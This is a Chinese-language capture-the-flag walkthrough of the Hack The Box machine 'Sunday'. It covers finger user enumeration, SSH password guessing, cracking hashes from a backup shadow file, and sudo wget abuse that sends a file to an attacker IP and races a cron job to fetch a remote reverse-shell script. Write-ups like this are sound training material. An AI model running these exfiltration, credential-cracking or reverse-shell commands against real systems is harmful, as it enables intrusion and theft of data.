概述 (Overview)
攻击链 (Kiillchain)
TTPs (Tactics, Techniques & Procedures)
- nmapAutomator
- finger-user-enum
- hydra
- linpeas
- john
阶段1:枚举
老规矩,依然是 Nmap 开局,默认扫描只识别出了 79、111,全端口扫描识别出了 22022。
阶段2:工具及利用
阶段2.1:finger服务用户名枚举
更具 finger
服务在google上搜搜,发现相关文章,存在用户枚举:
https://pentestlab.blog/tag/finger/
https://touhidshaikh.com/blog/2018/04/29/finger-service-users-enumeration/
下载枚举 poc 脚本,进行枚举尝试: http://pentestmonkey.net/tools/finger-user-enum/finger-user-enum-1.0.tar.gz
随后根据字典枚举出存在记录的用户,组成一个新的用户字典,随后尝试 ssh 登录。
阶段2.2:用户名密码枚举
最终在多个密码尝试枚举失败后,尝试将用户名作为口令进行枚举,成功登录目标服务器:
口令组:sunny:sunday
在进行 ssh 登录时,提示: 找不到匹配的密钥交换方法
,通过google尝试添加 -oKexAlgorithms=diffe-hellman-group-sha1
解决。
阶段2.3:备份文件哈希破解
首先查看当前服务器中存在哪些可登录用户:
sunny@sunday:~$ cat /etc/passwd
root:x:0:0:Super-User:/root:/usr/bin/bash
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
dladm:x:15:3:Datalink Admin:/:
smmsp:x:25:25:SendMail Message Submission Program:/:
listen:x:37:4:Network Admin:/usr/net/nls:
gdm:x:50:50:GDM Reserved UID:/:
zfssnap:x:51:12:ZFS Automatic Snapshots Reserved UID:/:/usr/bin/pfsh
xvm:x:60:60:xVM User:/:
mysql:x:70:70:MySQL Reserved UID:/:
openldap:x:75:75:OpenLDAP User:/:
webservd:x:80:80:WebServer Reserved UID:/:
postgres:x:90:90:PostgreSQL Reserved UID:/:/usr/bin/pfksh
svctag:x:95:12:Service Tag UID:/:
nobody:x:60001:60001:NFS Anonymous Access User:/:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x NFS Anonymous Access User:/:
sammy:x:101:10:sammy:/export/home/sammy:/bin/bash
sunny:x:65535:1:sunny:/export/home/sunny:/bin/bash
在尝试看看是否存在 sudo 配置枚举(-l:列出目前用户可执行与无法执行的指令;
)。
sunny@sunday:~$ sudo -l
User sunny may run the following commands on this host:
(root) NOPASSWD: /root/troll
sunny@sunday:~/Downloads$ sudo /root/troll
testing
uid=0(root) gid=0(root)
大当前用户可以用 sudo 去运行 /root/troll
,看结果应该是打印了 id
命令的结果。
查看 linpeas 输入信息,整理思路:
sammy
用户存在 ssh 登录痕迹。
存在一个不常见的 /backup
目录,且目录内容存在读取权限。
在 shadow.backup
目录中存在 sammy、sunny
用户的密码哈希:
sunny@sunday:/backup$ cat shadow.backup
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
$ hashcat -h | grep '\$5\$'
7400 | sha256crypt $5$, SHA256 (Unix) | Operating System
通过 john 工具进行哈希破解:
两组哈希解出来了:
sunday (?)
cooldude! (?)
尝试切换到 sammy
用户,成功。
这里有一个小知识点,就是在 $ su - sammy
时,中间加 -
和不加是存在区别的。
> https://blog.51cto.com/nolinux/1267016
su 后面不加用户是默认切到 root
su <user> 是不改变当前变量
su - <user> 是改变为切换到用户的变量
也就是说su只能获得root的执行权限,不能获得环境变量,而su - 是切换到<user>并获得<user>的环境变量及执行权限
成功在切换用户 sammy:cooldude!
,后获取到 user flag
阶段3:权限提升
通过列举 sudo 的配置可以看到,当前用户运行免密已root身份执行wget
那么简单了,可以用 wget 做文件传递和读取。
如将 agent22.backup
内容发给远端: sudo wget --post-file=/backup/agent22.backup http://10.10.16.246:9900
同样的,直接读 /root/root.txt
可获得flag。
如果是要获得一个反弹shell的话,则可以将msf的马通过wget输出到 agent22.backup
。但这里在尝试的时候发现获取成功,但执行后还是输出老的内容。
尝试将替换 -O
参数的位置,也无效。
最后想到的 Hackthebox 可能为了环境被人为破坏,可能加了定时任务去恢复文件这种东西。
尝试写一个条件竞争的bash,去和定时任务抢写入:$ for i in $(seq 1 50); do sudo wget http://10.10.16.246/reverse.sh -O /root/troll; sleep 1; done
成功获取到 root 的反弹shell。
参考
- https://0xdf.gitlab.io/2018/09/29/htb-sunday.html
- https://www.jianshu.com/p/979e8c6550fe